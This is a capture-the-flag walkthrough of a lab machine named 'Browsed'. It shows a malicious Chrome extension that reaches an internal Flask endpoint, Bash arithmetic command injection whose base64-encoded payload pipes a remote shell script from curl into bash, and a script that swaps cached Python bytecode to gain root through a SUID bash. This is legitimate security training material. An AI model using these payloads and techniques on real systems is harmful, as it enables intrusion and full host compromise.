Reconnaissance

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 02:c8:a4:ba:c5:ed:0b:13:ef:b7:e7:d7:ef:a2:9d:92 (ECDSA)
|_  256 53:ea:be:c7:07:05:9d:aa:9f:44:f8:bf:32:ed:5c:9a (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Browsed
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The nmap scan only finds port 22 and 80 and therefore I focus on HTTP.

Execution

Navigating to the IP on port 80 shows a page for a browser-focused company. The header exposes a domain name and I add browsed.htb to my /etc/hosts file. Also in the header there’s a button to another page where I can upload a Chrome browser extension to be checked out by a developer of the site.

I clone the repository for crux, modify the callback URL in background.js and then zip the contents of the extension folder. I start the provided listener and then upload the extension to the site. Almost instantly there’s a callback with the URL http://browsedinternals.htb. I also add this domain to my hosts file and try to access it with my browser. Even though it has internals in its name, it’s accessible from the outside and show a Gitea instance with a single repository.

The git repository MarkdownPreview consists out of a Flask application in app.py and a Bash script called routines.sh. First I check out the web application and see it’s listening on port 5000 on localhost, so it might be accessible through the Chrome extension. There are three endpoints in total, two interact with files in the ./files directory and /routines/<rid> calls the Bash script with rid parameter.

app.py
from flask import Flask, request, send_from_directory, redirect
from werkzeug.utils import secure_filename
 
import markdown
import os, subprocess
import uuid
 
app = Flask(__name__)
FILES_DIR = "files"
 
# Ensure the files/ directory exists
os.makedirs(FILES_DIR, exist_ok=True)
 
@app.route('/')
def index():
    return '''
    <h1>Markdown Previewer</h1>
    <form action="/submit" method="POST">
        <textarea name="content" rows="10" cols="80"></textarea><br>
        <input type="submit" value="Render & Save">
    </form>
    <p><a href="/files">View saved HTML files</a></p>
    '''
 
 
@app.route('/submit', methods=['POST'])
def submit():
    content = request.form.get('content', '')
    if not content.strip():
        return 'Empty content. <a href="/">Go back</a>'
 
    # Convert markdown to HTML
    html = markdown.markdown(content)
 
    # Save HTML to unique file
    filename = f"{uuid.uuid4().hex}.html"
    filepath = os.path.join(FILES_DIR, filename)
    with open(filepath, 'w') as f:
        f.write(html)
 
    return f'''
    <p>File saved as <code>{filename}</code>.</p>
    <p><a href="/view/{filename}">View Rendered HTML</a></p>
    <p><a href="/">Go back</a></p>
    '''
 
@app.route('/files')
def list_files():
    files = [f for f in os.listdir(FILES_DIR) if f.endswith('.html')]
    links = '\n'.join([f'<li><a href="/view/{f}">{f}</a></li>' for f in files])
    return f'''
    <h1>Saved HTML Files</h1>
    <ul>{links}</ul>
    <p><a href="/">Back to editor</a></p>
    '''
 
@app.route('/routines/<rid>')
def routines(rid):
    # Call the script that manages the routines
    # Run bash script with the input as an argument (NO shell)
    subprocess.run(["./routines.sh", rid])
    return "Routine executed !"
 
@app.route('/view/<filename>')
def view_file(filename):
    filename = secure_filename(filename)
    if not filename.endswith('.html'):
        return "Invalid filename", 400
    return send_from_directory(FILES_DIR, filename)
 
# The webapp should only be accessible through localhost
if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000)

Even though parts of the URL are passed into the subprocess.run call, injecting commands won’t work here because the parameter shell=True is not present. But there still might be a vulnerability in the called script.

The provided parameter is compared with different integer values and depending on the result certain actions are triggered. This type of comparison is exploitable since the provided input is evaluated under certain conditions1.

routines.sh
#!/bin/bash
 
ROUTINE_LOG="/home/larry/markdownPreview/log/routine.log"
BACKUP_DIR="/home/larry/markdownPreview/backups"
DATA_DIR="/home/larry/markdownPreview/data"
TMP_DIR="/home/larry/markdownPreview/tmp"
 
log_action() {
  echo "[$(date '+%Y-%m-%d %H:%M:%S')] $1" >> "$ROUTINE_LOG"
}
 
if [[ "$1" -eq 0 ]]; then
  # Routine 0: Clean temp files
  find "$TMP_DIR" -type f -name "*.tmp" -delete
  log_action "Routine 0: Temporary files cleaned."
  echo "Temporary files cleaned."
 
elif [[ "$1" -eq 1 ]]; then
  # Routine 1: Backup data
  tar -czf "$BACKUP_DIR/data_backup_$(date '+%Y%m%d_%H%M%S').tar.gz" "$DATA_DIR"
  log_action "Routine 1: Data backed up to $BACKUP_DIR."
  echo "Backup completed."
 
elif [[ "$1" -eq 2 ]]; then
  # Routine 2: Rotate logs
  find "$ROUTINE_LOG" -type f -name "*.log" -exec gzip {} \;
  log_action "Routine 2: Log files compressed."
  echo "Logs rotated."
 
elif [[ "$1" -eq 3 ]]; then
  # Routine 3: System info dump
  uname -a > "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt"
  df -h >> "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt"
  log_action "Routine 3: System info dumped."
  echo "System info saved."
 
else
  log_action "Unknown routine ID: $1"
  echo "Routine ID not implemented."
fi

Sending something like a[$(date >&2)]+42 as URL-encoded payload to /routines should execute the command on the server. Running this locally confirms that and I can modify my extension to call the vulnerable endpoint. Flask seems to have some problems with slashes in the payload and not even URL-encoding seems to fix this, so I encode my actual payload in base64.

$ echo -n 'bash -c "curl http://10.10.10.10/shell.sh |bash"' | base64 -w0
YmFzaCAtYyAiY3VybCBodHRwOi8vMTAuMTAuMTAuMTAvc2hlbGwuc2ggfGJhc2gi

Then I place a fetch call into background.js that tries to call the internal endpoint on port 5000 to trigger the vulnerability. Uploading the zipped extension once again retrieves the reverse shell payload from my web server and executes it. This drops me into a shell as larry with access to the first flag.

background.js
const SERVER_HOST = "http://10.10.10.10:8000"
 
fetch('http://127.0.0.1:5000/routines/a[$(base64 -d <<< YmFzaCAtYyAiY3VybCBodHRwOi8vMTAuMTAuMTAuMTAvc2hlbGwuc2ggfGJhc2gi|bash)]+42');
 
// Send URL Data
chrome.webNavigation.onCompleted.addListener((e) => {
    const url = `${SERVER_HOST}/u`;
    fetch(
        url,
        {
            method: "POST",
            body: JSON.stringify({ url: e.url }),
            headers: {
                "Content-Type": "application/json"
            }
        }
    );
}, {});
// --- SNIP ---

Privilege Escalation

The user larry can run the Python script /opt/extensiontool/extension_tool.py as root without providing a password. Files in the folder hosting the script are all readable by the user, so I can check out the source. For some reason the __pycache__ folder has very broad permissions and can be modified by anyone.

$ sudo -ln
Matching Defaults entries for larry on browsed:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
 
User larry may run the following commands on browsed:
    (root) NOPASSWD: /opt/extensiontool/extension_tool.py
 
$ ls -laR /opt/extensiontool/
/opt/extensiontool/:
total 24
drwxr-xr-x 4 root root 4096 Dec 11 07:54 .
drwxr-xr-x 4 root root 4096 Aug 17 12:55 ..
drwxrwxr-x 5 root root 4096 Mar 23  2025 extensions
-rwxrwxr-x 1 root root 2739 Mar 27  2025 extension_tool.py
-rw-rw-r-- 1 root root 1245 Mar 23  2025 extension_utils.py
drwxrwxrwx 2 root root 4096 Dec 11 07:57 __pycache__
 
/opt/extensiontool/extensions:
total 20
drwxrwxr-x 5 root root 4096 Mar 23  2025 .
drwxr-xr-x 4 root root 4096 Dec 11 07:54 ..
drwxrwxr-x 2 root root 4096 Aug 17 14:45 Fontify
drwxrwxr-x 2 root root 4096 Aug 17 14:46 ReplaceImages
drwxrwxr-x 2 root root 4096 Aug 17 14:47 Timer
 
/opt/extensiontool/extensions/Fontify:
total 28
drwxrwxr-x 2 root root 4096 Aug 17 14:45 .
drwxrwxr-x 5 root root 4096 Mar 23  2025 ..
-rw-rw-r-- 1 root root  274 Mar 19  2025 content.js
-rw-rw-r-- 1 root root  450 Mar 23  2025 manifest.json
-rw-rw-r-- 1 root root  568 Mar 19  2025 popup.html
-rw-rw-r-- 1 root root  756 Mar 19  2025 popup.js
-rw-rw-r-- 1 root root  181 Mar 19  2025 style.css
 
/opt/extensiontool/extensions/ReplaceImages:
total 16
drwxrwxr-x 2 root root 4096 Aug 17 14:46 .
drwxrwxr-x 5 root root 4096 Mar 23  2025 ..
-rw-rw-r-- 1 root root  348 Mar 23  2025 content.js
-rw-rw-r-- 1 root root  315 Mar 19  2025 manifest.json
 
/opt/extensiontool/extensions/Timer:
total 24
drwxrwxr-x 2 root root 4096 Aug 17 14:47 .
drwxrwxr-x 5 root root 4096 Mar 23  2025 ..
-rw-rw-r-- 1 root root  273 Mar 20  2025 manifest.json
-rw-rw-r-- 1 root root  369 Mar 19  2025 popup.html
-rw-rw-r-- 1 root root 1311 Mar 19  2025 popup.js
-rw-rw-r-- 1 root root  240 Mar 19  2025 style.css
 
/opt/extensiontool/__pycache__:
total 8
drwxrwxrwx 2 root root 4096 Dec 11 07:57 .
drwxr-xr-x 4 root root 4096 Dec 11 07:54 ..

Going over the code, the script takes multiple parameters and can be used to bump the versions for any extension of the three extensions in the extensions directory. Using --zip allows the caller to export the source code for an extension to a ZIP archive. Some of the functionality was moved into extension_utils.py.

extension_tool.py
#!/usr/bin/python3.12
import json
import os
from argparse import ArgumentParser
from extension_utils import validate_manifest, clean_temp_files
import zipfile
 
EXTENSION_DIR = '/opt/extensiontool/extensions/'
 
def bump_version(data, path, level='patch'):
    version = data["version"]
    major, minor, patch = map(int, version.split('.'))
    if level == 'major':
        major += 1
        minor = patch = 0
    elif level == 'minor':
        minor += 1
        patch = 0
    else:
        patch += 1
 
    new_version = f"{major}.{minor}.{patch}"
    data["version"] = new_version
 
    with open(path, 'w', encoding='utf-8') as f:
        json.dump(data, f, indent=2)
 
    print(f"[+] Version bumped to {new_version}")
    return new_version
 
def package_extension(source_dir, output_file):
    temp_dir = '/opt/extensiontool/temp'
    if not os.path.exists(temp_dir):
        os.mkdir(temp_dir)
    output_file = os.path.basename(output_file)
    with zipfile.ZipFile(os.path.join(temp_dir,output_file), 'w', zipfile.ZIP_DEFLATED) as zipf:
        for foldername, subfolders, filenames in os.walk(source_dir):
            for filename in filenames:
                filepath = os.path.join(foldername, filename)
                arcname = os.path.relpath(filepath, source_dir)
                zipf.write(filepath, arcname)
    print(f"[+] Extension packaged as {temp_dir}/{output_file}")
 
def main():
    parser = ArgumentParser(description="Validate, bump version, and package a browser extension.")
    parser.add_argument('--ext', type=str, default='.', help='Which extension to load')
    parser.add_argument('--bump', choices=['major', 'minor', 'patch'], help='Version bump type')
    parser.add_argument('--zip', type=str, nargs='?', const='extension.zip', help='Output zip file name')
    parser.add_argument('--clean', action='store_true', help="Clean up temporary files after packaging")
 
    args = parser.parse_args()
 
    if args.clean:
        clean_temp_files(args.clean)
 
    args.ext = os.path.basename(args.ext)
    if not (args.ext in os.listdir(EXTENSION_DIR)):
        print(f"[X] Use one of the following extensions : {os.listdir(EXTENSION_DIR)}")
        exit(1)
 
    extension_path = os.path.join(EXTENSION_DIR, args.ext)
    manifest_path = os.path.join(extension_path, 'manifest.json')
 
    manifest_data = validate_manifest(manifest_path)
 
    # Possibly bump version
    if (args.bump):
        bump_version(manifest_data, manifest_path, args.bump)
    else:
        print('[-] Skipping version bumping')
 
    # Package the extension
    if (args.zip):
        package_extension(extension_path, args.zip)
    else:
        print('[-] Skipping packaging')
 
 
if __name__ == '__main__':
    main()

The utils script has only two functions, one to validate JSON and another one to clean the temporary directory used by the main script. For some reason it also imports subprocess but does not use it.

extension_utils.py
import os
import json
import subprocess
import shutil
from jsonschema import validate, ValidationError
 
 
# Simple manifest schema that we'll validate
MANIFEST_SCHEMA = {
    "type": "object",
    "properties": {
        "manifest_version": {"type": "number"},
        "name": {"type": "string"},
        "version": {"type": "string"},
        "permissions": {"type": "array", "items": {"type": "string"}},
    },
    "required": ["manifest_version", "name", "version"]
}
 
# --- Manifest validate ---
def validate_manifest(path):
    with open(path, 'r', encoding='utf-8') as f:
        data = json.load(f)
    try:
        validate(instance=data, schema=MANIFEST_SCHEMA)
        print("[+] Manifest is valid.")
        return data
    except ValidationError as e:
        print("[x] Manifest validation error:")
        print(e.message)
        exit(1)
 
# --- Clean Temporary Files ---
def clean_temp_files(extension_dir):
    """ Clean up temporary files or unnecessary directories after packaging """
    temp_dir = '/opt/extensiontool/temp'
 
    if os.path.exists(temp_dir):
        shutil.rmtree(temp_dir)
        print(f"[+] Cleaned up temporary directory {temp_dir}")
    else:
        print("[+] No temporary files to clean.")
    exit(0)

When calling the main script with sudo the local extension_utils.py gets translated into bytecode and placed into __pycache__. Consecutive runs use the already compiled code instead as long as the stored metadata matches the source file2. Python embeds the last-modified timestamp of the source as well as the size in the .pyc file, so as longs as those two match, I can place a modified version in there, that calls my own code.

exploit.py
#!/bin/bash
SOURCE='/opt/extensiontool/extension_utils.py'
TARGET_DIR='/opt/extensiontool/__pycache__'
PAYLOAD="import os\nos.system('install -m 6777 /bin/bash /tmp/bash')"
TEMP="/dev/shm/$(basename ${SOURCE})"
 
# 1. Get the file size
FILE_SIZE=$(stat --format="%s" "${SOURCE}")
 
# 2. Build payload
PADDING=$(printf '#%.0s' $(seq 1 $((FILE_SIZE - ${#PAYLOAD}))))
PAYLOAD="${PAYLOAD}${PADDING}"
 
# 3. Place payload into file
echo -e "${PAYLOAD}" > "${TEMP}"
 
# 4. Fix timestamp
touch -r "${SOURCE}" "${TEMP}"
 
# 5. Compile
python3.12 -m compileall "$(dirname ${TEMP})" >/dev/null
 
# 6. Replace
rm --force "${TARGET_DIR}"/*
cp "$(dirname ${TEMP})/__pycache__"/* ${TARGET_DIR}
 
# 7. Call the binary and escalate
sudo /opt/extensiontool/extension_tool.py --ext Fontify
/tmp/bash -p

This Bash script retrieves the file size of the original source, calculates the difference between this and the payload size and adds # as padding. Then it writes the payload to a file, copies the timestamp from the original and compiles it to bytecode in a .pyc file. After placing the file into /opt/extensiontool/__pycache__ the next call to sudo loads the modified version and places the Bash binary with SUID bit into /tmp.

$ bash exploit.sh 
Traceback (most recent call last):
  File "/opt/extensiontool/extension_tool.py", line 5, in <module>
    from extension_utils import validate_manifest, clean_temp_files
ImportError: cannot import name 'validate_manifest' from 'extension_utils' (/opt/extensiontool/extension_utils.py)
bash-5.2# id
uid=1000(larry) gid=1000(larry) euid=0(root) egid=0(root) groups=0(root),1000(larry)

This produces an error because I did not implement the imported function, but still executes my payload. Then I can escalate to root and collect the final flag.

Attack Path

flowchart TD

subgraph "Execution"
    A(Access to browsed.htb) -->|Upload functionality| B(Upload malicious Chrome extension)
    B -->|Leak domain| C(Access to Gitea instance on browsedinternals.htb)
    C -->|Source Code| D(Command Injection in Bash script)
    B & D -->|CSRF| E(Shell as larry)
end

subgraph "Privilege Escalation"
    E -->|Sudo privileges| F(Call Python script as root)
    E --> G("Writable 
    \_\_pycache\_\_ 
    folder")
    F & G -->|Place modified pyc bytecode| H(Shell as root)
end

Footnotes

  1. Bash’s white collar eval

  2. Cached bytecode invalidation